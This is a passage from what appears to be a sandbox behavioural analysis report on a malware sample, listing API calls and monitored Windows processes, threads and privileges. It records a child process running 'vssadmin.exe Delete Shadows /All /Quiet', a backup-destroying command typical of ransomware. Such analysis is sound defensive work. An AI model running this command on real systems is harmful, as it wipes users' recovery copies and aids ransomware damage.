[0038.753] ReleaseMutex (hMutex=0x130) returned 0 [0038.753] GetLastError () returned 0x120 [0038.754] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\OUSCAN~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ouscan~1")) returned 1 [0038.755] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0038.755] ExitProcess (uExitCode=0x0) Thread: id = 4 os_tid = 0xba0 Process: id = "3" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x33b41000" os_pid = "0xb50" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xb8c" cmd_line = "C:\\Windows\\system32\\vssadmin.exe Delete Shadows /All /Quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 5 os_tid = 0xb74 Thread: id = 328 os_tid = 0x67c Thread: id = 329 os_tid = 0xa60 Thread: id = 330 os_tid = 0xa50 Thread: id = 331 os_tid = 0xbfc Process: id = "4" image_name = "System" filename = "" page_root = "0x187000" os_pid = "0x4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "created_daemon" parent_id = "2" os_parent_pid = "0xffffffffffffffff" cmd_line = "" cur_dir = "" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 6 os_tid = 0xb30 Thread: id = 7 os_tid = 0x8ac Thread: id = 8 os_tid = 0x174 Thread: id = 9 os_tid = 0x7c Thread: id = 10 os_tid = 0x44 Thread: id = 11 os_tid = 0x360 Thread: id = 12 os_tid = 0x430 Thread: id = 13 os_tid = 0x6bc Thread: id = 14 os_tid = 0x5bc Thread: id = 15 os_tid = 0x60 Thread: id = 16 os_tid = 0x6e0 Thread: id = 17 os_tid = 0x1c Thread: id = 18 os_tid = 0x7c4 Thread: id = 19 os_tid = 0x668 Thread: id = 20 os_tid = 0x0 Thread: id = 21 os_tid = 0x478 Thread: id = 22 os_tid = 0x6e0 Thread: id = 23 os_tid = 0x56c Thread: id = 24 os_tid = 0x140 Thread: id = 25 os_tid = 0x20 Thread: id = 26 os_tid = 0xd0 Thread: id = 27 os_tid = 0xd4 Thread: id = 28 os_tid = 0x50 Thread: id = 29 os_tid = 0x70c Thread: id = 30 os_tid = 0x704 Thread: id = 31 os_tid = 0xf8 Thread: id = 32 os_tid = 0x464 Thread: id = 33 os_tid = 0x468 Thread: id = 34 os_tid = 0x94 Thread: id = 35 os_tid = 0x61c Thread: id = 36 os_tid = 0x614 Thread: id = 37 os_tid = 0x610 Thread: id = 38 os_tid = 0x604 Thread: id = 39 os_tid = 0x14 Thread: id = 40 os_tid = 0x10 Thread: id = 41 os_tid = 0x24 Thread: id = 42 os_tid = 0x5f0 Thread: id = 43 os_tid = 0x5d4 Thread: id = 44 os_tid = 0x78 Thread: id = 45 os_tid = 0x56c Thread: id = 46 os_tid = 0x500 Thread: id = 47 os_tid = 0x478 Thread: id = 48 os_tid = 0x460 Thread: id = 49 os_tid = 0x138 Thread: id = 50 os_tid = 0xb8 Thread: id = 51 os_tid = 0x3d8 Thread: id = 52 os_tid = 0x9c Thread: id = 53 os_tid = 0x88 Thread: id = 54 os_tid = 0x80 Thread: id = 55 os_tid = 0x8c Thread: id = 56 os_tid = 0x308 Thread: id = 57 os_tid = 0x90 Thread: id = 58 os_tid = 0x28c Thread: id = 59 os_tid = 0x74 Thread: id = 60 os_tid = 0x98 Thread: id = 61 os_tid = 0x68 Thread: id = 62 os_tid = 0x4c Thread: id = 63 os_tid = 0x100 Thread: id = 64 os_tid = 0x198 Thread: id = 65 os_tid = 0x5c Thread: id = 66 os_tid = 0x3c Thread: id = 67 os_tid = 0x158 Thread: id = 68 os_tid = 0x154 Thread: id = 69 os_tid = 0x128 Thread: id = 70 os_tid = 0x130 Thread: id = 71 os_tid = 0x124 Thread: id = 72 os_tid = 0xc4 Thread: id = 73 os_tid = 0xb0 Thread: id = 74 os_tid = 0x84 Thread: id = 75 os_tid = 0x120 Thread: id = 76 os_tid = 0x11c Thread: id = 77 os_tid = 0x2c Thread: id = 78 os_tid = 0x28 Thread: id = 79 os_tid = 0x40 Thread: id = 80 os_tid = 0x30 Thread: id = 81 os_tid = 0x48 Thread: id = 82 os_tid = 0x34 Thread: id = 83 os_tid = 0x64 Thread: id = 84 os_tid = 0x38 Thread: id = 85 os_tid = 0xc0 Thread: id = 86 os_tid = 0x8 Thread: id = 353 os_tid = 0x888 Thread: id = 354 os_tid = 0x898 Thread: id = 356 os_tid = 0x8fc Thread: id = 358 os_tid = 0x91c Thread: id = 360 os_tid = 0x96c Thread: id = 361 os_tid = 0x98c Thread: id = 366 os_tid = 0xa5c Thread: id = 368 os_tid = 0xa0 Thread: id = 370 os_tid = 0xbc Thread: id = 371 os_tid = 0xa9c Thread: id = 373 os_tid = 0xaec Thread: id = 376 os_tid = 0xb5c Thread: id = 382 os_tid = 0x788 Thread: id = 383 os_tid = 0x560 Thread: id = 385 os_tid = 0x5dc Thread: id = 386 os_tid = 0x594 Thread: id = 387 os_tid = 0x694 Thread: id = 388 os_tid = 0xba4 Thread: id = 391 os_tid = 0x8f0 Thread: id = 392 os_tid = 0xa80 Thread: id = 395 os_tid = 0xa30 Thread: id = 396 os_tid = 0x7e0 Thread: id = 397 os_tid = 0x8c0 Thread: id = 398 os_tid = 0x950 Thread: id = 399 os_tid = 0xb30 Thread: id = 401 os_tid = 0xb40 Thread: id = 405 os_tid = 0x970 Thread: id = 406 os_tid = 0x930 Thread: id = 407 os_tid = 0x304 Thread: id = 410 os_tid = 0x18 Thread: id = 414 os_tid = 0xbb8 Thread: id = 425 os_tid = 0x8fc Thread: id = 484 os_tid = 0x728 Process: id = "5" image_name = "services.exe" filename = "c:\\windows\\system32\\services.exe" page_root = "0xe84c000" os_pid = "0x1d8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "created_daemon" parent_id = "2" os_parent_pid = "0x178" cmd_line = "C:\\Windows\\system32\\services.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 87 os_tid = 0xb20 Thread: id = 88 os_tid = 0xb00 Thread: id = 89 os_tid = 0x494 Thread: id = 90 os_tid = 0xaf0 Thread: id = 91 os_tid = 0xac0 Thread: id = 92 os_tid = 0x484 Thread: id = 93 os_tid = 0x510 Thread: id = 94 os_tid = 0x4b8 Thread: id = 95 os_tid = 0x4b0 Thread: id = 96 os_tid = 0x47c Thread: id = 97 os_tid = 0x130 Thread: id = 98 os_tid = 0x288 Thread: id = 99 os_tid = 0x23c Thread: id = 100 os_tid = 0x234 Thread: id = 101 os_tid = 0x228 Thread: id = 102 os_tid = 0x21c Thread: id = 427 os_tid = 0x454 Thread: id = 436 os_tid = 0xa2c Thread: id = 446 os_tid = 0xadc Thread: id = 449 os_tid = 0xaac Thread: id = 465 os_tid = 0x4e4 Thread: id = 469 os_tid = 0x284 Thread: id = 470 os_tid = 0x5f8 Thread: id = 472 os_tid = 0x6c8 Thread: id = 473 os_tid = 0xb6c Thread: id = 479 os_tid = 0x304 Thread: id = 481 os_tid = 0x64c Thread: id = 482 os_tid = 0x628 Thread: id = 485 os_tid = 0xd4 Thread: id = 487 os_tid = 0xd8 Thread: id = 488 os_tid = 0xe4 Thread: id = 489 os_tid = 0xec Thread: id = 490 os_tid = 0x67c Thread: id = 492 os_tid = 0xa60 Thread: id = 493 os_tid = 0xa50 Thread: id = 494 os_tid = 0xb74 Thread: id = 495 os_tid = 0xb50 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xd3aa000" os_pid = "0x250" os_integrity_level = "0x4000" os_privileges = "0x60b00080" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k DcomLaunch" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\DcomLaunch" [0xa], "NT SERVICE\\PlugPlay" [0xe], "NT SERVICE\\Power" [0xa], "NT AUTHORITY\\Logon Session 00000000:00006bcd" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 103 os_tid = 0x3c4 Thread: id = 104 os_tid = 0x640 Thread: id = 105 os_tid = 0x2a0 Thread: id = 106 os_tid = 0x29c Thread: id = 107 os_tid = 0x284 Thread: id = 108 os_tid = 0x280 Thread: id = 109 os_tid = 0x27c Thread: id = 110 os_tid = 0x278 Thread: id = 111 os_tid = 0x274 Thread: id = 112 os_tid = 0x268 Thread: id = 113 os_tid = 0x260 Thread: id = 114 os_tid = 0x254 Thread: id = 451 os_tid = 0xb0c Thread: id = 478 os_tid = 0x970 Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xd4e6000" os_pid = "0x294" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k RPCSS" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\RpcEptMapper" [0xe], "NT SERVICE\\RpcSs" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b13c" [0xc000000f], "LOCAL" [0x7] Thread: id = 115 os_tid = 0x4e8 Thread: id = 116 os_tid = 0x458 Thread: id = 117 os_tid = 0x690 Thread: id = 118 os_tid = 0x55c Thread: id = 119 os_tid = 0x2c0 Thread: id = 120 os_tid = 0x2bc Thread: id = 121 os_tid = 0x2b4 Thread: id = 122 os_tid = 0x298 Thread: id = 452 os_tid = 0xb4c Process: id = "8" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xd1f5000" os_pid = "0x2c8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b448" [0xc000000f], "LOCAL" [0x7] Thread: id = 123 os_tid = 0x7d8 Thread: id = 124 os_tid = 0x8d0 Thread: id = 125 os_tid = 0x5e4 Thread: id = 126 os_tid = 0x290 Thread: id = 127 os_tid = 0xb0 Thread: id = 128 os_tid = 0x5b4 Thread: id = 129 os_tid = 0x20c Thread: id = 130 os_tid = 0x358 Thread: id = 131 os_tid = 0x7e4 Thread: id = 132 os_tid = 0x540 Thread: id = 133 os_tid = 0x538 Thread: id = 134 os_tid = 0x52c Thread: id = 135 os_tid = 0x264 Thread: id = 136 os_tid = 0x1cc Thread: id = 137 os_tid = 0x3c0 Thread: id = 138 os_tid = 0x3b8 Thread: id = 139 os_tid = 0x3a8 Thread: id = 140 os_tid = 0x2fc Thread: id = 141 os_tid = 0x2f8 Thread: id = 142 os_tid = 0x2e4 Thread: id = 143 os_tid = 0x2d4 Thread: id = 144 os_tid = 0x2cc Thread: id = 394 os_tid = 0xbb4 Thread: id = 453 os_tid = 0xafc Process: id = "9" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xa5fd000" os_pid = "0x338" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b93c" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 145 os_tid = 0x718 Thread: id = 146 os_tid = 0x308 Thread: id = 147 os_tid = 0x6d8 Thread: id = 148 os_tid = 0x6b0 Thread: id = 149 os_tid = 0x590 Thread: id = 150 os_tid = 0x574 Thread: id = 151 os_tid = 0x144 Thread: id = 152 os_tid = 0x110 Thread: id = 153 os_tid = 0x3f0 Thread: id = 154 os_tid = 0x3ec Thread: id = 155 os_tid = 0x3e4 Thread: id = 156 os_tid = 0x3e0 Thread: id = 157 os_tid = 0x3d0 Thread: id = 158 os_tid = 0x3cc Thread: id = 159 os_tid = 0x398 Thread: id = 160 os_tid = 0x394 Thread: id = 161 os_tid = 0x384 Thread: id = 162 os_tid = 0x380 Thread: id = 163 os_tid = 0x368 Thread: id = 164 os_tid = 0x350 Thread: id = 165 os_tid = 0x33c Thread: id = 411 os_tid = 0xb78 Thread: id = 434 os_tid = 0x9bc Thread: id = 454 os_tid = 0xb3c Process: id = "10" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8f04000" os_pid = "0x370" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cc7d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 166 os_tid = 0x80c Thread: id = 167 os_tid = 0x15c Thread: id = 168 os_tid = 0x388 Thread: id = 169 os_tid = 0x514 Thread: id = 170 os_tid = 0x318 Thread: id = 171 os_tid = 0x638 Thread: id = 172 os_tid = 0x25c Thread: id = 173 os_tid = 0x74c Thread: id = 174 os_tid = 0x794 Thread: id = 175 os_tid = 0x7a4 Thread: id = 176 os_tid = 0x6d0 Thread: id = 177 os_tid = 0x4e4 Thread: id = 178 os_tid = 0x504 Thread: id = 179 os_tid = 0x7ac Thread: id = 180 os_tid = 0x630 Thread: id = 181 os_tid = 0x524 Thread: id = 182 os_tid = 0x64 Thread: id = 183 os_tid = 0x40c Thread: id = 184 os_tid = 0x798 Thread: id = 185 os_tid = 0x7dc Thread: id = 186 os_tid = 0x344 Thread: id = 187 os_tid = 0x7e8 Thread: id = 188 os_tid = 0x11c Thread: id = 189 os_tid = 0x41c Thread: id = 190 os_tid = 0x618 Thread: id = 191 os_tid = 0x5fc Thread: id = 192 os_tid = 0x5f4 Thread: id = 193 os_tid = 0x5ec Thread: id = 194 os_tid = 0x5d0 Thread: id = 195 os_tid = 0x5c4 Thread: id = 196 os_tid = 0x5c0 Thread: id = 197 os_tid = 0x59c Thread: id = 198 os_tid = 0x480 Thread: id = 199 os_tid = 0x45c Thread: id = 200 os_tid = 0x43c Thread: id = 201 os_tid = 0x414 Thread: id = 202 os_tid = 0x410 Thread: id = 203 os_tid = 0xf0 Thread: id = 204 os_tid = 0xc8 Thread: id = 205 os_tid = 0x3f4 Thread: id = 206 os_tid = 0x3e8 Thread: id = 207 os_tid = 0x39c Thread: id = 208 os_tid = 0x390 Thread: id = 209 os_tid = 0x37c Thread: id = 210 os_tid = 0x374 Thread: id = 377 os_tid = 0xb6c Thread: id = 378 os_tid = 0xb9c Thread: id = 380 os_tid = 0x89c Thread: id = 381 os_tid = 0x6c8 Thread: id = 384 os_tid = 0x598 Thread: id = 428 os_tid = 0x6e8 Thread: id = 429 os_tid = 0x93c Thread: id = 430 os_tid = 0x99c Thread: id = 431 os_tid = 0x98c Thread: id = 432 os_tid = 0x92c Thread: id = 447 os_tid = 0xacc Thread: id = 450 os_tid = 0xb2c Process: id = "11" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9014000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000db03" [0xc000000f], "LOCAL" [0x7] Thread: id = 211 os_tid = 0x7c0 Thread: id = 212 os_tid = 0x310 Thread: id = 213 os_tid = 0x128 Thread: id = 214 os_tid = 0x7c8 Thread: id = 215 os_tid = 0x6cc Thread: id = 216 os_tid = 0x644 Thread: id = 217 os_tid = 0x63c Thread: id = 218 os_tid = 0x154 Thread: id = 219 os_tid = 0x150 Thread: id = 220 os_tid = 0x120 Thread: id = 221 os_tid = 0x124 Thread: id = 222 os_tid = 0x118 Thread: id = 223 os_tid = 0x3fc Thread: id = 345 os_tid = 0x804 Thread: id = 413 os_tid = 0x8b0 Thread: id = 433 os_tid = 0x97c Thread: id = 455 os_tid = 0xb5c Thread: id = 476 os_tid = 0x634 Thread: id = 496 os_tid = 0x6d4 Process: id = "12" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x941e000" os_pid = "0x218" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e2b6" [0xc000000f], "LOCAL" [0x7] Thread: id = 224 os_tid = 0xb94 Thread: id = 225 os_tid = 0xc4 Thread: id = 226 os_tid = 0x660 Thread: id = 227 os_tid = 0x6c4 Thread: id = 228 os_tid = 0x7bc Thread: id = 229 os_tid = 0x72c Thread: id = 230 os_tid = 0x600 Thread: id = 231 os_tid = 0x5e8 Thread: id = 232 os_tid = 0x5d8 Thread: id = 233 os_tid = 0x5a4 Thread: id = 234 os_tid = 0x544 Thread: id = 235 os_tid = 0x404 Thread: id = 236 os_tid = 0x138 Thread: id = 237 os_tid = 0x378 Thread: id = 238 os_tid = 0x3a0 Thread: id = 239 os_tid = 0x214 Thread: id = 240 os_tid = 0x12c Thread: id = 456 os_tid = 0xb1c Thread: id = 467 os_tid = 0xa30 Thread: id = 468 os_tid = 0x950 Thread: id = 477 os_tid = 0xb9c Process: id = "13" image_name = "spoolsv.exe" filename = "c:\\windows\\system32\\spoolsv.exe" page_root = "0x673d000" os_pid = "0x46c" os_integrity_level = "0x4000" os_privileges = "0x20a00080" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\spoolsv.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Spooler" [0xe], "NT AUTHORITY\\Logon Session 00000000:000107ea" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 241 os_tid = 0x5f8 Thread: id = 242 os_tid = 0x31c Thread: id = 243 os_tid = 0x30c Thread: id = 244 os_tid = 0x244 Thread: id = 245 os_tid = 0x6f0 Thread: id = 246 os_tid = 0x790 Thread: id = 247 os_tid = 0x58c Thread: id = 248 os_tid = 0x740 Thread: id = 249 os_tid = 0x3d4 Thread: id = 250 os_tid = 0x4bc Thread: id = 251 os_tid = 0x4a4 Thread: id = 252 os_tid = 0x48c Thread: id = 253 os_tid = 0x488 Thread: id = 254 os_tid = 0x470 Thread: id = 435 os_tid = 0xa0c Thread: id = 457 os_tid = 0x6fc Process: id = "14" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0x21fc5000" os_pid = "0x4a8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "\"taskhost.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 255 os_tid = 0x4f4 Thread: id = 256 os_tid = 0x90 Thread: id = 257 os_tid = 0x66c Thread: id = 258 os_tid = 0x5a0 Thread: id = 259 os_tid = 0x77c Thread: id = 260 os_tid = 0x7d4 Thread: id = 261 os_tid = 0x7a0 Thread: id = 262 os_tid = 0x774 Thread: id = 263 os_tid = 0x75c Thread: id = 264 os_tid = 0x4c0 Thread: id = 265 os_tid = 0x4b4 Thread: id = 266 os_tid = 0x4ac Thread: id = 426 os_tid = 0x95c Process: id = "15" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x36b8000" os_pid = "0x4c4" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BFE" [0xe], "NT SERVICE\\DPS" [0xa], "NT SERVICE\\MpsSvc" [0xa], "NT SERVICE\\pla" [0xa], "NT SERVICE\\WwanSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0001130c" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7] Thread: id = 267 os_tid = 0x114 Thread: id = 268 os_tid = 0x1c0 Thread: id = 269 os_tid = 0x6b8 Thread: id = 270 os_tid = 0x22c Thread: id = 271 os_tid = 0x6ec Thread: id = 272 os_tid = 0x6e8 Thread: id = 273 os_tid = 0x60c Thread: id = 274 os_tid = 0x5ac Thread: id = 275 os_tid = 0x588 Thread: id = 276 os_tid = 0x584 Thread: id = 277 os_tid = 0x580 Thread: id = 278 os_tid = 0x57c Thread: id = 279 os_tid = 0x570 Thread: id = 280 os_tid = 0x558 Thread: id = 281 os_tid = 0x528 Thread: id = 282 os_tid = 0x520 Thread: id = 283 os_tid = 0x51c Thread: id = 284 os_tid = 0x508 Thread: id = 285 os_tid = 0x4f8 Thread: id = 286 os_tid = 0x4ec Thread: id = 287 os_tid = 0x4d0 Thread: id = 288 os_tid = 0x4c8 Thread: id = 415 os_tid = 0x7f4 Thread: id = 458 os_tid = 0x788 Thread: id = 471 os_tid = 0xb30 Thread: id = 475 os_tid = 0xb40 Thread: id = 480 os_tid = 0x930 Process: id = "16" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0xe272000" os_pid = "0x720" os_integrity_level = "0x4000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "taskhost.exe $(Arg0)" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT TASK\\Microsoft-Windows-SideShow-AutoWake" [0xe], "NT TASK\\Microsoft-Windows-SideShow-SystemDataProviders" [0xe], "NT TASK\\Microsoft-Windows-Customer Experience Improvement Program-UsbCeip" [0xe], "NT TASK\\Microsoft-Windows-Ras-MobilityManager" [0xe], "NT TASK\\Microsoft-Windows-PerfTrack-BackgroundConfigSurveyor" [0xe], "NT TASK\\Microsoft-Windows-RAC-RacTask" [0xe], "NT TASK\\Microsoft-Windows-Customer Experience Improvement Program-KernelCeipTask" [0xe], "NT AUTHORITY\\Logon Session 00000000:0003ca91" [0xc0000007], "LOCAL" [0x7] Thread: id = 289 os_tid = 0xbc8 Thread: id = 290 os_tid = 0x730 Thread: id = 291 os_tid = 0x568 Thread: id 